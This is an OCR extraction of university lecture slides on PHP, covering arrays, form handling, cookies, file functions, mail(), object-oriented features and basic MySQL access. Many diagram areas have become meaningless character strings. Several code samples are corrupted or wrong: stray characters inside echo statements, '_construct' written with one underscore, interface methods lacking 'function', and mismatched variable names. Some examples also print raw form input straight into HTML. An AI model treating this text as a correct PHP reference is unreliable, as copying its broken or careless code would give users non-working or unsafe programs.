represented as index => The comma after the last array
value. element is optional and can be
omitted

9
© 2020 e-Learning Centre, UCSC
9
Construction of an array…
• The index of an example:

element can be of $a = array(


1=> "First Item", "item2"
type integer or string. => "Second
• When the index is Item",
5 => "Third item", "Forth
omitted, an integer item"
index is automatically );

generated, starting at PHP would automatically


highest integer index generate the index 6 for the last
item in the array.
+ 1 or 0 if no item is
given an integer
index.
1
© 2020 e-Learning Centre, UCSC 0
Accessing an element in an
array.
example:
• An element of an $a = array(1=> "First
array can be Item","item2" => "Second
Item",5 => "Third item",
accessed by using the "Forth item"
syntax );

array_variable[index] Each element in the above array


can be accessed as below;
$a[1]
$a[“item2”]
$a[5]
$a[6]

1
© 2020 e-Learning Centre, UCSC 0
Changing the value of an array
element.
example:
• The following syntax
can be used to $a = array(
change the value of 1=> "First Item",
"item2" => "Second
an array element.
Item",
5 => "Third item",
"Forth item"
$array_variable[index] );
= new_value;
$a[1] = “abc”;
$a[“item2”] = 25;
1
© 2020 e-Learning Centre, UCSC 0
Adding a new element to an array.

• The following syntax can be used to add


a new value to an array.

$array_variable[new_index] =
new_value;

The new_index should not exist as an


index in the array.
1
© 2020 e-Learning Centre, UCSC 0
Appending elements to the end
of an array.
array_push command can be used to add one
or more elements to the end of the array.

Syntax :
array_push(array_variable, value1,value2,……)

Example :
$a = array("Nimal","Saman");
array_push($a,"Kamal","Waruna";
1
© 2020 e-Learning Centre, UCSC 0
Array of arrays
• Elements of an array can also be arrays.
example :

$a = array(
"males" => array("a" => "Nimal","b" =>
"Amara","c"
=>"Kamal"),
"females" => array("a" => "Kumari", "b" =>
"Nirmala", "c" =>
"Kamala"),
"fees" => array (2500,1500,500)
);

Accessing array elements example :


echo $a["females"]["b"]
1
© 2020 e-Learning Centre, UCSC 0
Looping through array elements
foreach looping construct can be used to
loop through the elements of anarray.

Syntax :
foreach (array_expression as $value)
statement Or
foreach (array_expression as $key =>
$value) statement
1
© 2020 e-Learning Centre, UCSC 0
Looping through array elements -
Example
<?php
$a = array(
1=> "First Item",
"item2" => "Second Item", 5 => "Third
item",
"Forth item"
);

foreach ($a as $key => $value){ echo


$key," - ",$value,"\n";
}
?>
1
© 2020 e-Learning Centre, UCSC 0
Multidimensional arrays
• A multidimensional array is an array containing one or more
arrays.

• PHP supports multidimensional arrays that are two, three, four,


five, or more levels deep.

• The dimension of an array indicates the number of indices you


need to select a single element. i.e.:

• For a two-dimensional array you need two indices to select an


element
• For a three-dimensional array you need three indices to select an
element and so on…

1
© 2020 e-Learning Centre, UCSC 0
Multidimensional arrays
• Defining a two dimensional array: $cars = array (
array("Volvo",22,18),
array("BMW",15,13),
array("Saab",5,2),
array("Land Rover",17,15)
);
• Accessing the two dimensional array element by element:

<?php
for ($row = 0; $row < 4; $row++) {
echo ,T<pxb>Row number $row</bx/p>";
echo IT<ul>";
for ($col = 0; $col < B; $col++) {
echo "<li>'.$cars[$row][$col].w</li>';
}
echo "</ul>”;
}
?>

© 2020 e-Learning Centre, UCSC


I
1
0
Handling Form Data
What is a form & how
they work in PHP?
Form data
submitted to
server
<form =
"server.php" method Authenticate user
$_POST[J; Add data to database
="POST"> </form>
Other data processing etc.
$_GET[];

V Data processed
Login on the server
[server,php]

Contact Us PHP Serif

--
Email b4<?
IpwpJ
0
$cmaa<>

/A
Message
1
>4 V
r
t

Rcpiÿ to jOhn* hÿvor com


;
112
Forms in HTML
• HTML forms is a powerful feature that enables
an application on a web server to interact with
users.
• HTML forms allow users to send data to
the web site.
• An HTML Form is typically made of a
collection of widgets such as text fields,
buttons, checkboxes, radio buttons or select
boxes.
• The “post” or “get” HTTP methods can be used
to send data to the server.
© 2020 e-Learning Centre, UCSC
1
1
Action and method attributes
• Two important attributes of the
“form” element are “action” and
“method”.
– action : specifies the URL of the web resource
designated to receive the data collected from
the form element.
– method : specifies which HTTP method (get or post)
should be used to send data to the receiving URL.
– If the receiving URL is a PHP program, then
depending on the method used in the HTML form
either the PHP superglobal $_GET or $_POST can be
used to access form data at the servers end. 1
© 2020 e-Learning Centre, UCSC 1
Example 1- Form with text inputs
<html>
<body>
<form action=“example.php" method="post">
Name: <input type="text"
name="name"><br>
<input type="submit"> The content of the example.php script is given below
</form>
<!DOCTYPE html>
</body>
<html>
</html> <body>
The name attribute specifies <div> Hello <?php echo
the key value of the $_POST $_POST["name"]?></div>
global array element from
</body>
which the value of this input
item can be retrieved
</html>

1
© 2020 e-Learning Centre, UCSC 1
Example 2- Form with check
<html>
boxes
<body>
<form action=“example.php"
method=“post"> Do you have an email?
<input type=“checkbox" name=“emailOption“ value
= “Yes”><br>
<input type="submit"></form>
</body>
</html>
When the user checked the checkbox,
the value “Yes” is send to the server
as the value of the attribute
“emailOption”.

1
© 2020 e-Learning Centre, UCSC 1
Example 2- check boxes ….
<html>
<body>
<div>
<?php
if($_POST["emailOption"]== "Yes"){
echo "Option is checked";
} else {
The data send to the
echo "Option is not-checked"; server can be
} accessed by using the
?> $_POST global array
element with the key
</div> value "emailOption"
</body>
</html>
1
© 2020 e-Learning Centre, UCSC 1
Example 3- Form with a check
box group
<html>
<body>
<form action=“example.php"
method=“post"> Which fruits do you like?
<input type=“checkbox" name=“fruits[]“ value = “Apples”>Apples<br>
<input type=“checkbox" name=“fruits[]“ value =
“Oranges”>Oranges<br>
<input type=“checkbox" name=“fruits[]“ value = “Grapes”>Grapes<br>
<input type="submit"> Note that the checkboxes have the same
name “fruits” and each name ends in [ ].
</form>
• The same name indicates that these checkboxes
</body> are all related and forms a group.
</html> • [ ] indicates that the selected values will be
provided to PHP script as an array.This means
That the $_POST[„fruitsr'] is an array not a
single string.

1
© 2020 e-Learning Centre, UCSC 1
Example 3- Form with a check box
group <html>
<body>
<div><?php
$fruits = $_POST["fruits"];
if(!empty($fruits)){
echo "You like ";
for($i=0; $i <
count($fruits);$i++){ echo
"<br>". $fruits[$i];
}
} else {
echo "You do not like any fruits";
}
?>
</div>
</body>
</html> 1
© 2020 e-Learning Centre, UCSC 1
Example 4- Form with a Radio
<html>
button
<body>
<form action="example.php"
method="post"> Please specify your sex
:<br>
<input type="radio" name="sex" value =
"male">male<br>
<input type="radio" name="sex" value
= "female">female<br>
<input type="submit">
Note that all radio buttons should
</form> have the same value for the attribute
“name”.
</body>
</html>
1
© 2020 e-Learning Centre, UCSC 2
Example 4- Form with a
<html>
Radio button ….
<body>
<div>
<?php
echo "you are a ".
$_POST["sex"];
?>
</div>
</body>
</html>

1
© 2020 e-Learning Centre, UCSC 2
Cookies

122
Cookies
• A cookie is a file with small amount of data that a
website embeds on the user’s computer through
a web browser. This cookie is send back to the
website by a browser every time when the user is
accessing the same website by using the same
browser.
• The browsers can either enable or disable cookies.
• In PHP data stored in cookies can be accessed
by using the global array $_COOKIE

© 2020 e-Learning Centre, UCSC


Cookies
1. The browser requests a web page
S
(D
2, The server sends the page and the cookie What Is A Coohie?
sID
O" J-_ 3 *£tMi|
JT|T
trr.m r* r» j 4 rTptf [i1 ror*. r_
sm*wi of rafcrofrfrqfr fry .1-7.,.. ciir
»
O'
r
3 Iff MfMH *vrJ

n- &***&? firtd r-f


•I'vr <C»T«f 1 sÿM it r.;.
art j urbclcp

The cookie
Wfcat biCootte?
PHPS Cookies
(D
O
2
A HWUi A Ofttn vMHl bo idfi-fllÿr a l#Wf. A CWA* ti 5«taU
Cliff ihjl: th? wrvf r f pn Iftf MMVT qpmptjt«X«H Itin# Ihf *

Hello World! s#*nf compute* «tqucscs 1D»ge wTih 1Um*rvt*r 11 wJI «**1the
Cecftw top. Wrlh P'HP iiHj tjn balls [rrjSr And rrlrwvp [«lw
vakm
Create Cocfcla-i With PHP
(A SivrtM

ID
t*lt*tik*|Ai-fr v&luC, fnfli**-, part\ AMHW', frtutt,

3. The browser requests another page from the


same server
**
The cookie F

;:Th
© 2020 e-Learning Centre, UCSC
I 1
2
1
© 2020 e-Learning Centre, UCSC 2
Setting a cookie – setcookie()
Syntax: Cookies must be sent
• setcookie($name [, $value before producing any
[, $expire]]); output in a script. This
Semantic: requires
• Sends a cookie to the browser. setcookie()
• $name - The name of the cookie function to be used
• $value – The value of the cookie prior to any output,
• $expire – The time (in seconds) the including <html> and
cookie expires. If this value is set to <head> tags as well as
0 or omitted, the cookie will expire
when the browser closes.
any whitespace.
• The function returns the Boolean
value TRUE on success or FALSE
on failure.
1
© 2020 e-Learning Centre, UCSC 2
Checking whether cookies are
enabled or not
<?php
setcookie("name","saman",time()+3600);
if(count($_COOKIE) > 0){
echo "Cookies are enabled<br>";
} else {
echo "Cookies are disabled <br>";
}

1
© 2020 e-Learning Centre, UCSC 2
Modifying the value of a
cookie
• To modify the <?php
setcookie("name",“Kamal",tim
value of a cookie
e()+3600);
call the same ?>
function
setcookie() with
the new value.

1
© 2020 e-Learning Centre, UCSC 2
Deleting a cookie.

• To delete a <?php
setcookie("name",“Kamal",tim
cookie execute e()-3600);
the same ?>
setcookie()
function with an
expiration date
in the past.

1
© 2020 e-Learning Centre, UCSC 2
Create

±
-c
fopcnQ fd«e()
Open Close
Pile
frcod()
Handling fwritcQ
in Phjs
Read Write

pcngmcQ
Rename A unlinkfi
Delete

File Handling
W writing(writing to a file)
r reading(reading to a file)
a append(adding to a file)

130
Typical operations on files
• Opening a file
• Adding data https://www.youtube.com/watch?v=RgOVVV9GAXQ

• Accessing data
• Closing the file

1
© 2020 e-Learning Centre, UCSC 3
Opening a File
File opening modes
Syntax: w – write
fopen ( $filename , $mode r – reading
[,$use_include_path = false a – appending
[,
$context ]] ) fopen returns a file
fopen() binds the resource named pointer resource on
as success or FALSE
on failure
$filename, to a stream.
• If a file named “mydata.txt” exists then the content
of the file is deleted.
• If there is no file with the name “mydata.txt” then a new
file with the name “mydata.txt” is created.
1
© 2020 e-Learning Centre, UCSC 3
Writing data to a file
<?php
$f =
fwrite returns the
fopen("data.txt","w");
number of bytes
fwrite($f,"My name is
written to the file or
saman\n");
FALSE on
fwrite($f,"My age is failure.
90"); fclose($f);
?>
Syntax of fwrite :
fwrite ( $handle , $string [, $length ] )
fwrite() writes the content of $string to the file stream pointed to by
$handle. If the optional length argument is given, writing will stop after
$length number of bytes is written or the end of string is
reached,
whichever comes first. 1
© 2020 e-Learning Centre, UCSC 3
Appending data to a file
<?php
$f = fopen("data.txt",“a");
fwrite($f,"My name is
Sunil\n"); fclose($f);
?>

1
© 2020 e-Learning Centre, UCSC 3
Reading data from a file – fgets()
Syntax: <?php
file ( $filename) $lines= file(“data.txt");
Semantics: foreach($lines as
$line_no => $line){
• Reads the entire file echo
$filename into an array. $line_no,$line,"<br>";
• The command returns }
?>
– The file in an array. Each
element of the array
corresponds to a line in the
file or
– FALSE if an error occurs.

1
© 2020 e-Learning Centre, UCSC 3
Reading data from a file – file()
Syntax:
fgets ( $handle [,$length ] )

Semantics:
• Reads a line from the file pointed to by the file pointer $handle.
• The command returns
– A line of symbols (including the end of line marker) from the file as
a string when the $length parameter is not specified or
– A string of up to length - 1 bytes from the file when
$length parameter is specified or
– The Boolean value FALSE when there is no more data to read in
the file or
– The Boolean value FALSE if an error occurred while reading the file.

1
© 2020 e-Learning Centre, UCSC 3
Reading data from a file – fscanf()
Syntax:
fscanf( $handle, $format)
<?php
$f = fopen("data.txt","r");
Semantics: while ($line =
• Reads a line of the file fscanf($f,"%s\t%d\n")){
pointed to by the file echo $line[0],"-
pointer $handle according ",$line[1],"<br>";
to the format specified by
}
the string $format.
?>
• The command returns
– the values parsed as
an array.

1
© 2020 e-Learning Centre, UCSC 3
Reading data from a file -
Example
<?php
$f =
fopen("data.txt","r")
;
while (! feof($f)){
$line = fgets($f);
echo $line, "<br>";
}
fclose($f);
?>
1
© 2020 e-Learning Centre, UCSC 3
Existence of a file/directory
Command : file_exists() <?php
if(!file_exists(
Syntax :
"data.txt")){
file_exists($filename) echo "File does not
Semantics : exists"; exit;
}
Checks the existence of a echo "File Exists";
file or directory. ?>
It returns the Boolean
value TRUE when the
file/Directory exists,
otherwise it returns
FALSE.
1
© 2020 e-Learning Centre, UCSC 3
Sending emails using PHP
PHP Mail function
The mail() function allows you to send emails directly
from a script.
• The mail functions are part of the PHP core
functions. For the mail functions to be available,
PHP requires an installed and working email
system.
• The program to be used is defined by the
configuration settings in the php.ini file.

1
© 2020 e-Learning Centre, UCSC 4
Local SMTP Local queue Recipient mailbox

I
SMTP Pickup Destination queue

v
PHP script MTA > Destination SMTP
H mail
Direct

© 2020 e-Learning Centre, UCSC


I
1
4
PHP Mail function
The mail() function needs configuration settings to
work properly in php.ini file, some of them:
Name Default Description Changeable
Windows only: The DNS name
SMTP "localhost" or IP address of the SMTP PHP_INI_ALL
server

Windows only: The SMTP port


smtp_port "25" PHP_INI_ALL
number.
Windows only: Specifies the
sendmail_from NULL "from" address to be used PHP_INI_ALL
when sending mail from mail()
Specifies where the sendmail
program can be found. This
"/usr/sbin/
directive works also under
sendmail_path sendmail -t PHP_INI_SYSTEM
Windows. If set, SMTP,
-i"
smtp_port and sendmail_from
are ignored 1
© 2020 e-Learning Centre, UCSC 4
PHP Mail function
• The mail() function signature:
mail(to,subject,message,headers,parameters);
• When the configuration is setup the email can be
generated as below:

1 C7php
2 i/ the message
3 $msg = "This is a \n Test Message\nThaank you!11;
4
5 // use wordwrapO if lines are longer than 70 characters
6 $msg = wordwrap($msg,7Q)
7
6 // send email
9 [nail("abc@abc. net" r "Test Message" f$msg);
10 ?>

© 2020 e-Learning Centre, UCSC


I
1
4
Object Orientation with PHP
Object-Oriented Programming
• Object Oriented Programming (OOP) refers to the
creation of reusable software components(classes)
that integrate properties(data) and behaviors
(functions) of real-world entities together.
• In OOP an object can represents any entity. (a
student, a desk, a button, a file, a text input area, a
loan, a web page or a shopping cart)
• An object-oriented program comprises of a
collection of such objects that interact with each
other to solve a particular problem/s.

1
© 2020 e-Learning Centre, UCSC 4
Object-Oriented Programming
• Objects are self-contained
– data and operations that pertain to the
object are assembled into a single entity.
• In OOP each Object has:
– An identity
– State
– Behavior

1
© 2020 e-Learning Centre, UCSC 4
Building Objects According to a Template/Blue print/Plan

Blueprint Houses built according to the


Blueprint

#C62A6A

1
© 2020 e-Learning Centre, UCSC 4
Class and Object
• A “Class” refers to a blueprint. It defines the
attributes(variables) and
behaviors(functions) the objects of that class
should support.
• An “Object” is an instance of a class. Each
object should corresponding to a class(es)
which defines its attributes and behavior.

1
© 2020 e-Learning Centre, UCSC 4
The Class
• The basic unit of code in object-oriented PHP is the class.
A class provides a mechanism to encapsulate related
functionality and data into a single entity.
• In PHP a class can be defined by using the keyword
‘class’ as below.
• The class name can be any valid label and it cannot be
a PHP reserved word.
Class Name
class Circle
{
// Class properties and Properties
methods
} Methods
1
© 2020 e-Learning Centre, UCSC 5
Properties
• In PHP5, class properties are used as placeholders,
to store data associated with the objects of that class.
The visibility of a property can be defined by adding
one of the following prefixes to the declaration of the
property.
– public : the value of the property can be accessed
from everywhere. If no visibility is specified for a
method, it defaults to public visibility.
– protected : the value of the property can be accessed
only by the class and the derived classes(child classes).
– private : the value of the property can be accessed only by
the class that defines the member.
1
© 2020 e-Learning Centre, UCSC 5
A Class with Public and Private
Properties - Example
class Person{

public $name;

public $sex = "m";//default-


value

public $dob;

private $bank_account_no;

1
© 2020 e-Learning Centre, UCSC 5
Creating objects(Instances) of a
class
• In order to access the properties and use the methods of a class,
you first need to instantiate, or create an instance(object). This
can be done by using the keyword ‘new’ as below:

$c = new Person();
Classes should be defined before instantiation.
$c variable holds a reference to an instance (object) of the
class ‘Person’.

Once an object is created, the individual (visible) properties


and methods of that object can be accessed by using an arrow
(->) operator as given below.

$c->name = “Sunil”;
1
© 2020 e-Learning Centre, UCSC 5
Object assignments
• When assigned an already created instance of a
class to a new variable, the new variable also
points to the same instance. Example :
$p1 = new Person();
$p1->name = "Sunil";
$p2 = $p1; // $p1 and $p2 points to the same object
$p2->name = "Kamal";
echo $p1->name; // This will print the text “Kamal”
as $p1 and $p2 points
to the same object
1
© 2020 e-Learning Centre, UCSC 5
Class Methods
• Class properties are used to hold data inside
objects. Functions can be created inside a class to
manage its property values. Such functions defined
inside classes are called its methods.

Syntax for method definitions:


visibility function function_name(parameters)
{
// method implementation here
}

1
© 2020 e-Learning Centre, UCSC 5
Class Methods
class Person{
public $name;
public $sex = "m"; // default
value
public $dob; $this is a The
private $bank_account_no = ; pseudo-
variable. It is
Public function set_name($name){ used to refer
to the calling
$this->name = $name; object to
} which the
method
Public function print_name(){ belongs.
echo $this->name;
}
1
} © 2020 e-Learning Centre, UCSC 5
Constructors and Destructors
• In some situations when dealing with classes,
you might want to have a way to automatically
initialize object variables and/or to perform
certain pre-defined actions when the object is
created. For such situations, a constructor can be
used.
• A constructor is nothing more than a specially
named method that is automatically called when
an object is instantiated. In PHP5, to implement
a constructor, all you need to do is implement a
method named“__construct”.
1
© 2020 e-Learning Centre, UCSC 5
Constructors and Destructors
• PHP5 now includes a special method
(destructor) that is called when an object
is destroyed.
• An object destructor is called when all
references to an object are removed, or it
is manually destroyed in your code.
• To create a destructor, add a method to
your class, and call it “__destruct”.

1
© 2020 e-Learning Centre, UCSC 5
Class Object
{
function construct() {}
function destruct() {}
}
$obj=
newObject();
unset($obj);

159
<?php
class Person{
Example: _construct
public $name = null;
public $sex = "m";
public $dob;
private $bank_account_no;

function _construct($name,$sex,$dob,$acc){
$this->name = $name; $this->sex = $sex;
$this->dob = new DateTime($dob);
//$dob should be give as "2015-01-15"
$this->bank_account_no = $acc;
}
public function print_age($toData){
//$toDate should be give as "2015-01-15"
$interval = $this->dob->diff(new DateTime($toDate));
echo "Years - ". $interval->y . " Months - ".$interval->m ." Days
-
".$interval->d ;
}
}

$p1 = new Person("Saman","m","1960-11-23","123456");


$p1->print_age("2015-02-06");
?>
1
© 2020 e-Learning Centre, UCSC 6
Static Keyword
• Sometimes when using object-oriented
programming, you might need to assign
properties/methods with a class rather than
with its instances. This can be done by using
static propertie/methods. Static
properties/methods exist only with the
class but not with its instances.
• Static Properties/methods of a class can
be accessed by using the operator “::”.
1
© 2020 e-Learning Centre, UCSC 6
self::
• In order to access static variables within
the same class, you can use the self
keyword followed by thedouble-colon
(“::”)
• Using self:: is similar to $this->, but it is
used for static members only.

1
© 2020 e-Learning Centre, UCSC 6
Example: self
<?php
class Person{
public $name = null;
public $sex = "m";
private static $ObjectCount =
0; function _construct($name,$sex){
$this->name = $name;
$this->sex = $sex;
self::$ObjectCount++;
}
public function print_object_count(){
echo "Number of objects instantiated -
". self::$ObjectCount;
}
}

$p1 = new Person("Saman","m");$p2 =


new Person("Kamala","f");
Person::print_object_count();
?> 1
© 2020 e-Learning Centre, UCSC 6
Class Constants
• It is possible to define class values that are
constant for the class. To define a class
constant, use the “const” keyword before
the constant name.
• Constants differ from normal variables in
that you don't use the $ symbol in their
declaration.

1
© 2020 e-Learning Centre, UCSC 6
<?php
class Person{
const office = "UCSC";
public $name = null;
public $sex = "m";

function __construct($name,$sex){
$this->name = $name;
$this->sex = $sex;
Example:
} const
public function print_office(){
echo "Office name -".
self::office;
}
}

Person::print_office();
?>

1
© 2020 e-Learning Centre, UCSC 6
Inheritance
• Allows you to define a base set of properties and methods that belong to a
base class and to extend that class by
– adding additional properties and methods and/or
– changing the behavior of existing methods.
• The subclass inherits all of the public and protected properties and
methods from the parent class. Unless a subclass overrides a method, the
subclass retains its original functionality defined in the parent class.
• Inheritance facilitate the implementation of additional functionality in
similar objects without the need of re- implementing all of the shared
functionality.
• When defining a subclass the parent class must be defined before defining the
child class.

1
© 2020 e-Learning Centre, UCSC 6
I
Single Inheritance Hierarchical Inheritance
f /-

Multilevel Inheritance
gp nu |
|
I
/\
a
Building classes by inheritance
Simple Hierarchical
Inheritance Inheritance Multilevel
Inheritance

[ 1
IHTL

© 2020 e-Learning Centre, UCSC


I
1
6
The extends key word
<?php
The keyword
class Shape extends is used
{ to build a
public $center = subclass
array(x=>0, y=>0);
}
class Circle extends Shape Parent
{ Class
public $radius;
}
$c = new Circle();
print_r($c->center);
?> IT3505 Web Application
© 2020 e-Learning Centre, UCSC
1
6
The final Keyword
• There are cases where, you want to restrict a
subclass from redefining a member that exists
in a parent class.
• You can prevent properties and methods
from being redefined(overriding) in a subclass
by using the final keyword.

1
© 2020 e-Learning Centre, UCSC 6
Using parent:: References
• In some situations you may want to refer to a
property or a method of the parent class, in a
subclass.
• To achieve this, you can use the parent
keyword in conjunction with the :: (double
colon) similar to static members.

1
© 2020 e-Learning Centre, UCSC 7
<?php
class Shape {
var $x;
function getName()
{
$this->x = “I’m a shape";
return;
}
}
class Circle extends Shape {
// we have var $x; from the parent already here.
function getParentName()
{
parent:: getName();
echo $this->x;
}
}
$b = new Circle();
$b-> getParentName(); // prints: " I’m a shape "
?>
1
© 2020 e-Learning Centre, UCSC 7
Abstract Classes
• When a class is defined as abstract, other
classes can extend it, but it cannot be
instantiated. This feature enables you to define
classes as templates.
• A class that contains at least one abstract
method is treated as an abstract class.
• Abstract methods only defines the signature
of the method, but not its implementation.
• When inheriting from an abstract class, all
methods declared as abstract in the parent
class must be defined by the child.
1
© 2020 e-Learning Centre, UCSC 7
<?php
abstract class Shape{
public $origin = array(x=>0, y=>0);
}

class Circle extends Shape{


// Circle implementation
}

$c = new Circle();
echo $c->origin;
$s = new Shape(); echo $s-
>origin;
?>

1
© 2020 e-Learning Centre, UCSC 7
Interfaces
• Another new object-oriented feature in PHP5 is the
ability to create and use interfaces. Interfaces, in a
nutshell, are a way to specify what methods a class
must explicitly implement. This is useful when
dealing with many interconnected objects that rely
on the specific methods of one another.
• In PHP5, an interface is defined using the
interface keyword, and implemented using the
implements keyword.
• All methods declared in an interface must be public.
• Interfaces can be extended like classes
using the extends operator.
1
© 2020 e-Learning Centre, UCSC 7
Interfaces
interface TwoDimensionalOperations
{
public calculateArea() ;
}
class Circle implements
TwoDimensionalOperations
{
public calculateArea() ;
{
// Implementation of calculateArea,
specific to this Circle class
}
} 1
© 2020 e-Learning Centre, UCSC 7
Abstract Classes Vs Interfaces
• A child class can extend only one abstract
class, whereas a class can implement
multiple interfaces.
• An interface does not provide any
functionality (method implementations)
whereas an abstract class may provide
some functionality.

1
© 2020 e-Learning Centre, UCSC 7
Magic Methods
• Magic methods is a set of methods designed to be
executed automatically in response to particular
PHP events.
• All names of magic methods starting with
two underscores.
• PHP reserves all function names starting with “__” as
magical, thus it is recommended not to start any user
defined function with “__”.
i.e:
• __call
• __get and __set
• __toString
1
© 2020 e-Learning Centre, UCSC 7
__call()
• Allows you to provide actions or return values
when undefined methods are called on an object.
• Can be used to simulate method overloading,
or even to provide smooth error handling
when an undefined method is called on an
object.
public function __call($m, $a){
echo “The method ” . $m . “ was called.<BR> The
arguments were as follows:<BR>;
print_r($a);
}

1
© 2020 e-Learning Centre, UCSC 7
__get and __set
• __get allows properties which actually not
accessible in a class to be read.
• __set allows properties which actually not
accessible in a class to be written.
• __get takes one argument - the name of
the property.
• __set takes two arguments - the name of the
property and the new value.

1
© 2020 e-Learning Centre, UCSC 7
__toString
• __toString returns a custom string value
that is automatically used when the object
is converted to a string.
• Only called when used directly with echo or
print. If not implemented in a class the
object id will be returned by default.

1
© 2020 e-Learning Centre, UCSC 8
Activity: Classes
comments.
1

4
5

7
cTphp
__
• Complete the PHP class given below according to the

2 * class Fruit {
3 public $name‘,
public $color; //default color is "green"

function construct($nanne) {
$this->name = $name;

_
6 }
9
10 public function setColor(ÿc) {//update the color variable
11 }
12
13 * function destructQ {
14 echo "The fruit is {$this->name}.\n" ;
15 }
16
17 public function to5tring(){ //return "color-name";
ia }
19 }
20
21 $applel = new Fruit(’"Apple") ;
22 $apple2 = new Fruit("Apple");
23 $applel-> destruct();
24 $orangel = new Fruit("Qrange");
25 echo $orangel,"\n" ;
2& $orangel->setColor('ryellow") ;
27 echo $apple2,"\n" ,$orangel ,”\n" ;
26 7>

© 2020 e-Learning Centre, UCSC


I
1
8
Activity: Classes
Answer:

_
1

3
4
5
6*
7
a
9
10 *
11
12
13
14 T
15
16
17
10 *
C7php
2 * class Fruit {

}
function

}
_
public $narme;
public $color = "green";

construct($name) {
$thi s->name = £nanne;

public function setColor(£c) {


$this->color = $c;

function destruct() {
echo "The fruit is {$this->name}.In" ;

public function __toString{)


(I
19 return (jithis->color). ll_H .{$thiis->name)."\n" ;
20 }
21 }
22
23 $applel = new F ruit(’’Apple’1);
24 $apple2 = new Fruit(’"Apple");
25 $applel->__destruct();
26 $orangel = new Fruit("Qrange");
27 echo $orangel;
28 $orangel->setColor('ryellow");

I
29 echo $apple2,$orangel ;
30 ?> 1
© 2020 e-Learning Centre, UCSC 8
Developing a web application
with PHP
Technology Stack

Apache

Operating System

1
© 2020 e-Learning Centre, UCSC 8
How does the Apache/PHP/MySQL web application
work?

• The client browser send a request to the Apache web server.


• The server checks what is the php resource requested in the request.
• Together with the request data server invokes the PHP interpreter and
script
• The interpreter execute the script and communicates with the MySQL
data base according to the instructions in the script.
• The databased operation completes, and the scripts output is captured
by the interpreter to pass back to the apache server.
• Apache server send the output back to the client browser.

1
© 2020 e-Learning Centre, UCSC 8
Introduction to MySQL
• A free and open source relational database
management system (RDBMS)
• MySQL is used by many database-driven web
applications, including Drupal, Joomla, phpBB,
and WordPress together with PHP.
• MySQL is also used by many popular websites,
including Facebook, Flickr, MediaWiki, Twitter
and YouTube.

1
© 2020 e-Learning Centre, UCSC 8
Installation of MySQL
• We have more than one approach to install MySQL:
1. Download and install the MySQL server.
2. Use XAMPP bundled MySQL installation.

You can start


the MySQL
server by the
control panel
as shown
here.

1
© 2020 e-Learning Centre, UCSC 8
Installation of MySQL
• To access the database click the Admin button.

• This will launch


the phpMyAdmin
console to
manage the
database

1
© 2020 e-Learning Centre, UCSC 8
Creating a Database
• There are 2 main ways of creating a database
:
– With the command line
– By using a tool such as MySQL workbench
, phpMyAdmin
• Since you are using XAMPP
package, we will use the
phpMyAdmin to make tables.

1
© 2020 e-Learning Centre, UCSC 8
Creating a database by using
phpMyAdmin tool

1) Click on databases and give a suitable name . Click ‘ C2) Click ‘Create’
reate

1
© 2020 e-Learning Centre, UCSC 9
Creating Databases-(with SQL
command)

1) Click on SQL tab


2) Type
the 3) Click on the Go button
correct
command

1
© 2020 e-Learning Centre, UCSC 9
Creating Table (GUI)
• You can create tables in a selected DB by
executing the relavent command or by using the
GUI

2. Type a suitable table name and number of columns for


1. Select the database the table
1
© 2020 e-Learning Centre, UCSC 9
Creating Table (GUI) …..
• Columns (Fields) of the table can be created by filling
the subsequent form as requited.

1
© 2020 e-Learning Centre, UCSC 9
Creating Tables (SQL
commands)

CREATE TABLE Persons ( PID INT NOT NULL AUTO_INCREMENT PRIMARY KEY, FirstName CHAR(15),
LastName CHAR(15), Age INT )

CREATE TABLE Persons (


PID INT NOT NULL AUTO_INCREMENT
PRIMARY KEY, FirstName CHAR(15),
LastName CHAR(15),
Age INT )

1
© 2020 e-Learning Centre, UCSC 9
Managing data stored in
MySQL DBs Through
PHP
Basic Steps in Processing data stored
in MySQL through PHP programs
1. Connect to a host server with MySQL
installed.
2. Select a database
3. Create a SQL statement
4. Execute the SQL statement.
– Many SQL statements return the result of a SQL
statement as a record set
5. Extract data from record set using
PHP commands
6. Use the data as required
7. Close the connection 1
© 2020 e-Learning Centre, UCSC 9
Open a Connection to MySQL
• Opening a connection to a MySQL DB
<?php Usually "localhost"
$servername = "localhost";
$username = "username"; By default – ‘root’
$password = "password";
$dbname = “myDB"; By default – ‘ ’

// Create connection
$conn = new mysqli($servername, $username, $password,
$dbname);

// Check connection
if ($conn->connect_error) {
die("Database connection failed: " . $conn-

>connect_error);
}
echo "Success. Connected to database";
O
?>
© 2020 e-Learning Centre, UCSC
I
1
9
Open a Connection to MySQL
• Create a new user from the console to connect to the
database myDB

1
© 2020 e-Learning Centre, UCSC 9
Close the Connection
• It’s always a best practice to close a
connection once you are done with
working with the database.
• Can close the connection using this syntax.
// if the connection object is $conn
$conn->close();

1
© 2020 e-Learning Centre, UCSC 9
mysqli_query()
• This is one of the most important and
most used function in php when dealing
with MySQL.
• mysqli_query() function is used to command
PHP to execute a SQL statement.
• It sends a query or command to a
MySQL DBMS through the connection
object.

2
© 2020 e-Learning Centre, UCSC 0
Inserting Data Into a Database
Table
• You can use INSERT INTO statement to add
new records to a database table.
• There are 2 different ways of writing insert queries
– INSERT INTO table_name VALUES (value1, value2,
value3,...)
– INSERT INTO table_name (column1, column2,
column3,...) VALUES (value1, value2, value3,...)
• The first form can be used if data is inserted to all columns of
the new record.
• The second form can be used if data is inserted only to
a selected set of columns in the new record.
2
© 2020 e-Learning Centre, UCSC 0
Executing a SQL query through PHP
• The following PHP code segment inserts two record
to the table ‘Persons’
<?php Structure of the table
$con=mysqli_connect("localhost", "root", " ", Persons{
"myDB"); PID INT NOT NULL
if ($con->connect_error) AUTO_INCREMENT
die("Database connection failed: " . PRIMARY KEY,
$conn->connect_error); FirstName CHAR(15),
LastName CHAR(15),
Age INT )
mysqli_query($con,"INSERT INTO Persons (FirstName,
LastName, Age)VALUES
('Nimal', 'Perera',35)");

mysqli_query($con,"INSERT INTO Persons (FirstName,


LastName, Age)VALUES
('Amal', 'Silva',33)");

mysqli_close($con);
?>
2
© 2020 e-Learning Centre, UCSC 0
Inserting data to a MySQL DB
through a HTML form.
• This HTML page requests the web server to execute a PHP
script named “insert.php” at the server side.
<html>
<body>
<form action=“insert.php" method="post">
Firstname: <input type="text“
name="firstname"><br>
Lastname: <input type="text"
name="lastname"><br>
Age: <input type="text"
name="age"><br>
<input type="submit">
</form>
</body>
</html>
2
© 2020 e-Learning Centre, UCSC 0
Insert data into a database table
Content of the PHP script insert.php
<?php
$con=mysqli_connect("localhost","root","", “myDB");
